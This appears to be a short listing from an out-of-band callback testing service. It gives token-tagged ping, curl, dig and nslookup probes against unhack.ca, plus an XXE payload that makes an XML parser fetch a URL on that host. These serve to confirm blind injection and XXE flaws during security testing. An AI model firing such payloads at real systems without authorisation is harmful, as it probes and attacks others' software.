$ ping -c1 -p 00daf6f174554388665e39fce9c3a600 unhack.ca
 

$ curl http://unhack.ca/p/daf6f174554388665e39fce9c3a6
 

$ dig daf6f174554388665e39fce9c3a6 @unhack.ca
 

$ dig daf6f174554388665e39fce9c3a6.ns.unhack.ca
 

C:\> nslookup daf6f174554388665e39fce9c3a6 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/daf6f174554388665e39fce9c3a6">]>
    <foo>&xxe;</foo>